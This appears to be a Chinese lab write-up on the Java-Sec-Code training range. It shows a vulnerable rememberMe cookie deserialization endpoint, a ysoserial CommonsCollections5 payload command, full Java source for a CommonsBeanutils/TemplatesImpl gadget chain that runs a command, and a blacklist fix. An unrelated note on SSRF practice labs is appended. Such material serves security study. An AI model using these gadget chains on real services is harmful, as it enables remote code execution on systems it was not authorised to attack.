Java-Sec-Code-反序列化

🌸 序列化和反序列化
🍂 CommonsCollections5利用
@RequestMapping("/rememberMe/vuln")
public String rememberMeVul(HttpServletRequest request)
        throws IOException, ClassNotFoundException {

    Cookie cookie = getCookie(request, Constants.REMEMBER_ME_COOKIE);

    if (null == cookie) {
        return "No rememberMe cookie. Right?";
    }

    String rememberMe = cookie.getValue();
    byte[] decoded = Base64.getDecoder().decode(rememberMe);

    ByteArrayInputStream bytes = new ByteArrayInputStream(decoded);
    ObjectInputStream in = new ObjectInputStream(bytes);
    in.readObject();
    in.close();

    return "Are u ok?";
}

很类似于shiro的反序列化漏洞。从Cookie中获取rememberMe字段,然后进行base64解码,然后进行反序列化。与shiro不同的是,该漏洞不需要使用AES进行加密,而是直接进行了base64编码。

这里看了一下相关的cc和cb的依赖:

CC链和CB链都是可以进行利用的,首先使用cc链进行攻击,直接用ysoserial工具生成payload:

java -jar ysoserial.jar CommonsCollections5 "open -a calculator" | base64

直接放到burpsuite里面进行重放:(需要注意的是,直接抓包的时候,Cookie里面其实并不是rememberMe而是remember-me)

反序列化的时候,读取的Cookie是rememberMe。

最终进行利用:

🍂 CommonsBeanutils利用

因为该靶场还是存在CB的依赖的,所以就用上了shiro的CB的链子。但是当时shiro的CB的依赖是1.8.3,而当前的版本是1.9.3。所以存在一个本地类不兼容的问题。但是出现500的报错,同时命令执行也不成功!

本地修改CB依赖的环境和java-sec-code的版本相同,改为1.9.3。再次生成payload:

package org.y4y17;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare;
import org.apache.commons.beanutils.BeanComparator;

import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class shiro_cb {
    public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException, NoSuchFieldException, IOException, ClassNotFoundException {
//        PersonBean personBean = new PersonBean("Y4y17",22);
//        System.out.println(PropertyUtils.getProperty(personBean,"age"));
//        System.out.println(PropertyUtils.getProperty(personBean,"name"));
        TemplatesImpl templates = new TemplatesImpl();
        Class<? extends TemplatesImpl> templatesClass = templates.getClass();
        Field nameFeild = templatesClass.getDeclaredField("_name");
        nameFeild.setAccessible(true);
        nameFeild.set(templates,"aaa");

        Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates,new TransformerFactoryImpl());

        byte[] code = Files.readAllBytes(Paths.get("exec.class"));
        byte[][] codes = {code};
        bytecodesField.set(templates,codes);
        BeanComparator beanComparator = new BeanComparator("outputProperties",new AttrCompare());
//        beanComparator.compare(templates,null);
        PriorityQueue priorityQueue = new PriorityQueue(beanComparator);
        priorityQueue.add(templates);
        Class<? extends PriorityQueue> aClass = priorityQueue.getClass();
        Field sizeFiled = aClass.getDeclaredField("size");
        sizeFiled.setAccessible(true);
        sizeFiled.set(priorityQueue,2);
//        serialization(priorityQueue);
        deserialization();
    }

    public static void serialization(Object o) throws IOException {

        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("shiro_cb.bin"));
        objectOutputStream.writeObject(o);
        objectOutputStream.close();
    }
    public static void deserialization() throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("shiro_cb.bin"));
        objectInputStream.readObject();
        objectInputStream.close();
    }
}

exec.class里面就是静态方法,执行了计算机弹出的操作。需要继承AbstractTranslet:

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package org.y4y17;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;

public class exec extends AbstractTranslet {
    public exec() {
    }

    public void transform(DOM var1, SerializationHandler[] var2) throws TransletException {
    }

    public void transform(DOM var1, DTMAxisIterator var2, SerializationHandler var3) throws TransletException {
    }

    static {
        try {
            Runtime.getRuntime().exec("open -a calculator");
        } catch (IOException var1) {
            throw new RuntimeException(var1);
        }
    }
}

之后base64编码即可进行利用了:

虽然还是报错,但是计算器已经是弹出来了!

🌸 修复代码
@RequestMapping("/rememberMe/security")
public String rememberMeBlackClassCheck(HttpServletRequest request)
        throws IOException, ClassNotFoundException {

    Cookie cookie = getCookie(request, Constants.REMEMBER_ME_COOKIE);

    if (null == cookie) {
        return "No rememberMe cookie. Right?";
    }
    String rememberMe = cookie.getValue();
    byte[] decoded = Base64.getDecoder().decode(rememberMe);

    ByteArrayInputStream bytes = new ByteArrayInputStream(decoded);

    try {
        AntObjectInputStream in = new AntObjectInputStream(bytes);  // throw InvalidClassException
        in.readObject();
        in.close();
    } catch (InvalidClassException e) {
        logger.info(e.toString());
        return e.toString();
    }

    return "I'm very OK.";
}

相比于漏洞代码,主要修复的代码如下:

AntObjectInputStream in = new AntObjectInputStream(bytes);  // throw InvalidClassException

在AntObjectInputStream类中,重写了resolveClass方法!

@Override
protected Class<?> resolveClass(final ObjectStreamClass desc)
        throws IOException, ClassNotFoundException
{
    String className = desc.getName();

    // Deserialize class name: org.joychou.security.AntObjectInputStream$MyObject
    logger.info("Deserialize class name: " + className);

    String[] denyClasses = {"java.net.InetAddress",
                            "org.apache.commons.collections.Transformer",
                            "org.apache.commons.collections.functors"};

    for (String denyClass : denyClasses) {
        if (className.startsWith(denyClass)) {
            throw new InvalidClassException("Unauthorized deserialization attempt", className);
        }
    }

    return super.resolveClass(desc);
}

通过设置黑名单的方式去防止反序列化漏洞的出现,似乎这种方法并不是很可行。可以看到这个黑名单的中其实过滤的都是commonscollections的依赖!并没有cb依赖。所以上面的cb利用链应该还是可以利用的!

### Java 安全编码中的 SSRF 漏洞练习与测试环境 SSRF(Server-Side Request Forgery,服务器端请求伪造)是一种常见的安全漏洞,攻击者可以通过该漏洞诱导应用程序向内部网络或其他外部目标发送HTTP请求。为了帮助开发者更好地理解和防范此类漏洞,在Java环境中可以使用一些专门设计的实验室或工具来模拟和实践。 #### 常见的SSRF漏洞练习平台 OWASP Juice Shop 是一个流行的开源项目,它故意包含了多种Web应用安全漏洞供学习者研究,其中包括SSRF漏洞实例[^2]。通过部署这个程序,你可以体验到真实世界中可能出现的各种攻击场景并尝试修复它们。 另一个推荐的是 DVWA (Damn Vulnerable Web Application),虽然主要面向PHP开发人员,但也提供了基础级别的SSRF挑战,适合初学者了解基本概念[^3]。 对于更专注于Java生态系统的训练资源,则有 OWASP WebGoat ,这是一个专门为教育目的而构建的应用程序,其中涵盖了多个主题的安全课程,包括但不限于SQL注入、跨站脚本(XSS)以及我们关心的SSRF等问题领域[^4]。 以下是设置这些环境的一个简单指南: ```bash # 更新系统包管理器索引 sudo apt update && sudo apt upgrade -y # 安装必要的依赖项 sudo apt install git docker-compose -y # 下载Juice Shop源码仓库 git clone https://github.com/juiceshop/juiceshop.git cd juiceshop/ # 使用Docker启动服务 docker-compose up -d ``` 上述命令展示了如何基于Linux操作系统快速搭建起OWASP Juice Shop 的运行环境。完成之后访问 `http://localhost:3000` 即可进入界面开始探索其内置的功能模块及其背后隐藏的风险点。 请注意,在实际操作过程中应当遵循合法合规的原则,仅限于授权范围内的实验活动;同时也要定期更新所使用的软件版本以获得最新的功能改进和支持。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Y4y17

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值